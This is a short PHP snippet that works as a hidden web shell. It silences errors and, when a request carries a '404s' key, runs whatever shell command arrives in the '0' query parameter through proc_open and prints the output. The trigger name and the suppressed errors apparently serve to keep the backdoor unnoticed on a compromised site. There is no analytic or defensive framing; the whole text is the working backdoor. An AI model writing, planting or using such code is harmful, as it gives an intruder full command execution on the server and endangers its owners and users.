error_reporting(0);
if (isset($_GET['404s'])) {
    if (isset($_GET['0'])) {
        $admin = $_GET['0'];
        $process = proc_open($admin, array(
            0 => array('pipe', 'r'),
            1 => array('pipe', 'w'),
            2 => array('pipe', 'r')
        ), $pipes);
        
        if (is_resource($process)) {
            echo stream_get_contents($pipes[1]);
            fclose($pipes[1]);
            proc_close($process);
        }
        exit;
    }
}